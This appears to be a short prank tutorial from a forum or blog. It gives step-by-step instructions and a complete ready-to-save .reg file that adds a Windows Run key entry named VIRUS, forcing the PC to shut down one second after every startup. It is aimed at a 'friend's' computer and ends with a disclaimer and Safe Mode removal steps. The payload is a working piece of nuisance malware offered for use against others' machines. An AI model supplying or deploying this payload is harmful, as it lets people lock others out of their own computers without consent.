Shutdown ur friend's PC when everytime it starts

GO TO
RUN >
TYPE NOTEPAD > AND
THEN PASTE BELLOW WRITTEN TEXT AND SAVE IT AS
VIRUS.REG

HERE:--

WINDOWS REGISTRY EDITOR VERSION 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN]
"VIRUS"="%WINDIR%\\SYSTEM32\\SHUTDOWN.EXE -T 1 -C \"HOWZ THIS NEW VIRUS AH\" -F"

DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, IF IT HAPPENS, TO YOU, START WINDOWS IN SAFE MODE, AND OPEN REGISTRY EDITOR BY TYPIING REGEDIT IN START->RUN.

NAVIGATE TO [HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN]AND REMOVE THE STRING VALUE NAMED VIRUS, RESTART YOU COMPUTER.